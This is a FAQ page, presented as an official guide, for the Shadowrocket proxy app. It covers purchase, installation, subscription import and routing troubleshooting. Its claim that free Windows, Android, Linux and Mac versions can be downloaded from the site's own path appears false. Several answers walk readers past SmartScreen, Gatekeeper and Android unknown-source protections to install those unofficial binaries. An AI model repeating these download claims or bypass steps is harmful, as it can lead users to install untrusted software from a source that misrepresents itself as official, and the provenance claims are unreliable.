Official Guide · FAQ Index
Shadowrocket FAQ
Choose a category for the issue you're dealing with. Before installing, verify where to get the app. If you've already imported a configuration, narrow down the cause by checking the subscription, connection switch, server, and rules in that order.
Purchase
App verification and purchases
Check the price, app ID, and purchase history. Verify purchase access separately from your configuration backup.
View app verification stepsHow much does Shadowrocket cost? Does the app include server access?
The iPhone and iPad app is a one-time $2.99 purchase on the US App Store; the price at checkout depends on your storefront. The Mac (Apple silicon and Intel), Windows, Android, and Linux versions are free, with installers available at /dl/shadowrocket/. Buying the app does not include a server subscription. Before importing, have your own subscription or server details ready. This site does not provide, sell, or recommend servers, subscriptions, or VPN services.
How can I verify the genuine app when there are listings with the same name in the App Store?
Open the App Store product page. Check that the developer is Shadow Launch Technology Limited, compare the icon with the official icon at the top of this guide, and confirm that the product page URL ends in id932747118. A similar name or icon alone does not prove it's the same app. If any detail differs, return to the product link and check again; don't rely on search result order.
Can't find Shadowrocket in the App Store? Check this first
Open the product page link to see whether the app is available in your current storefront. App Store search results and availability depend on the country or region of your Apple Account, not your device's interface language. If you need to change your region to match your actual place of residence, go to Media & Purchases in your Apple Account settings, select View Account, then check Country/Region. Follow Apple's instructions regarding any balance, active subscriptions, payment methods, and other requirements.
Do I need to buy Shadowrocket again after changing devices or reinstalling it?
If your original purchase is still available, sign in to the App Store on your new device with the Apple Account used to buy Shadowrocket. Find it in your account's purchased items and tap to download it again. If you're prompted to buy it, first check that you're using the account associated with the original purchase instead of confirming payment. Redownloading restores access to the app; back up local configurations and server lists on your old device separately before switching.
Can I install Shadowrocket on iPad? Is it the same App Store listing as for iPhone?
Yes. Shadowrocket for iPhone and iPad uses the same App Store product page, and the same purchasing account can access the purchase on both devices. Check the App Store page for the system requirements for each device. If installation isn't available, review the compatibility details first, then check your purchasing account. Being able to redownload the app on both devices doesn't mean local configurations have synced.
Installation
Installation and first launch
Check your operating system, processor, and installer source first. Then distinguish routine source warnings from explicit security alerts.
View installation instructions by platformCan I use Shadowrocket on desktop or Android?
Yes. The Mac (Apple silicon and Intel), Windows, Android, and Linux versions are free. Get the appropriate installer from /dl/shadowrocket/. The iPhone and iPad app is a one-time $2.99 purchase on the US App Store. Select your platform on the all-platforms download page, then check your processor architecture or Linux package format. If an installation prompt warns about the source or publisher, confirm the installer came from this site, then follow the instructions for your platform.
Which Shadowrocket download should I choose for Mac: Apple silicon or Intel?
Open About This Mac from the Apple menu and check the hardware details, not the computer's appearance or purchase year. If you see Chip with a name starting with Apple M, choose Mac Apple Silicon. If you see Processor with Intel in its name, choose Mac Intel. Both downloads are in the Mac section of the download page. If you downloaded the wrong installer, return to that section and choose the right one; changing security settings won't fix an architecture mismatch.
What should I do if Windows SmartScreen warns me about Shadowrocket?
Check your browser's download history to confirm the installer came from /dl/shadowrocket/ and that you selected the Windows version. If SmartScreen only warns that the publisher is unknown, verify the source, select More info, review the file, then choose Run anyway. If Windows reports a threat, offers no option to continue, or the device is managed by your organization, stop the installation. Don't turn off SmartScreen or antivirus protection.
macOS says the developer can't be verified. How do I allow the app to open once?
Confirm the installer came from /dl/shadowrocket/ and matches your Mac's processor. After trying to open it once, if macOS only says the developer can't be verified, go to Privacy & Security in System Settings and select Open Anyway next to the app's warning. Check the app name in the confirmation dialog. If macOS reports malware or says the file is damaged, stop; don't treat either warning as a routine developer verification prompt.
Android says apps can't be installed from this source. Which setting should I change?
First check that the installer listed on the download page matches your device architecture and came from /dl/shadowrocket/. If Android is only blocking the current source, select the browser or file manager you used to open the file in the Allow install unknown apps prompt, and temporarily allow installs from that source only. Turn the permission off again on the same page after installation. Stop if the device is managed by your organization or a security scan reports a risk.
Import
Importing subscriptions and servers
These steps apply only to subscriptions or server details you already have. Choose the method that fits: link import, QR code, or manual entry.
View the quick start guideMy subscription link won't import after pasting it. How do I troubleshoot it?
Make sure you copied your complete subscription URL, not the service's management page address. Check for spaces or line breaks at either end, a URL cut off by a messaging app, and missing query parameters. In Home, go to Add Server and select Subscribe, enter the URL in the appropriate field, then save. If Shadowrocket can't retrieve or parse it, ask the original provider whether the link is still valid and returns content compatible with Shadowrocket. Don't share the full URL when asking for help.
How do I update an existing subscription? Do I need to select a server again afterward?
Find the existing subscription in Home, open its action menu, and run the update. This refreshes the content from the original URL, so you usually don't need to import the same URL again. Then check whether your previously selected server is still listed. If it has been removed, select an available server and run Connectivity Test. If the update fails, keep the existing entry and check the original URL before clearing the list.
Shadowrocket can't read a QR code when I try to add it. What should I check?
In Home, select Scan QR Code and make sure Shadowrocket has permission to use the camera. Position a QR code for a configuration you already have fully within the camera frame; avoid glare, cropped edges, and blurry scaling. If it scans but won't add, check that it contains server details or a subscription URL Shadowrocket can parse, rather than a regular webpage link. If you have the original URL, use the corresponding manual import method instead.
A server I added manually keeps failing the test. Which fields should I check?
In Add Server, check the protocol type first, then verify the address, port, credentials, and transport settings against the server details you already have. Don't infer the protocol from the port or paste a full share link into a field that only accepts a hostname. If your server details specify TLS or a server name, enter those values as given. After saving, select only that entry and run Connectivity Test to narrow the issue down to this configuration and your current network.
Diagnostics
Routing and troubleshooting
A switch that won't turn on, a failed server test, and webpages that won't load each need a different starting point.
Match interface labels and rule terminologyThe connection switch on Home won't turn on. What should I check first?
Check that a server entry is selected on Home, then try turning the switch on. The first time you connect, the system may ask to add a VPN configuration. Confirm that Shadowrocket initiated the request, then follow the prompt. If the switch turns off immediately, note the message and check whether another VPN configuration is already active. Managed devices may restrict this action; don't remove an organization-managed configuration without checking your device requirements.
The connection switch is on, but webpages still won't load. Why?
An enabled switch means the connection has started; it doesn't guarantee that the selected server, DNS resolution, or destination website is reachable. First check whether the same webpage loads on the same network with the connection off, then run Connectivity Test for the current server. Once you have a test result, check Global Routing and review DNS and rule matching for the affected domain. Change one setting at a time and retry the same URL to identify what affects the result.
Which Global Routing mode should I use: Config, Proxy, or Direct?
Config applies the rules in the current configuration to choose a policy. Use it when you have rules and need traffic routing. Proxy sends requests through the selected server without applying those rules one by one, which can help check whether the server can forward a test request. Direct sends traffic without a proxy server, making it useful for comparison with Proxy; it does not turn off the connection switch on Home. After troubleshooting, switch back to your usual mode.
The app interface is in English. How do I follow this guide?
Use the English interface labels shown in this guide: Home is where you select a server and control the connection switch; Config is where you view or select configurations; Settings is where you find preferences. Connectivity Test checks server connectivity; it is not the connection switch. To change the display language, check the language options available for Shadowrocket on your device. If your preferred language isn't listed, you can still follow the guide using the English labels.
Battery use seems higher. How can I tell whether the connection is responsible?
Choose comparable time periods in your system battery usage, then review Shadowrocket's activity alongside signal strength, data usage, and screen time. Weak signal, frequent network changes, and large transfers can all affect battery readings, so don't draw conclusions from a single percentage. If you use On Demand, check for automatic connection conditions you don't need. Change one setting at a time and compare similar usage periods so other changes don't skew the result.
I changed the rules, but they aren't taking effect. What should I check first?
In Config, confirm that you edited the configuration currently in use, then make sure Global Routing is set to Config. Check the rules for the requested domain and see whether an earlier rule already matches; also verify the fallback policy set by FINAL. Test with a new request to the same URL rather than relying on a page already loaded in your browser. If a rule blocks traffic unexpectedly, restore the configuration from before your edits, then test each change individually.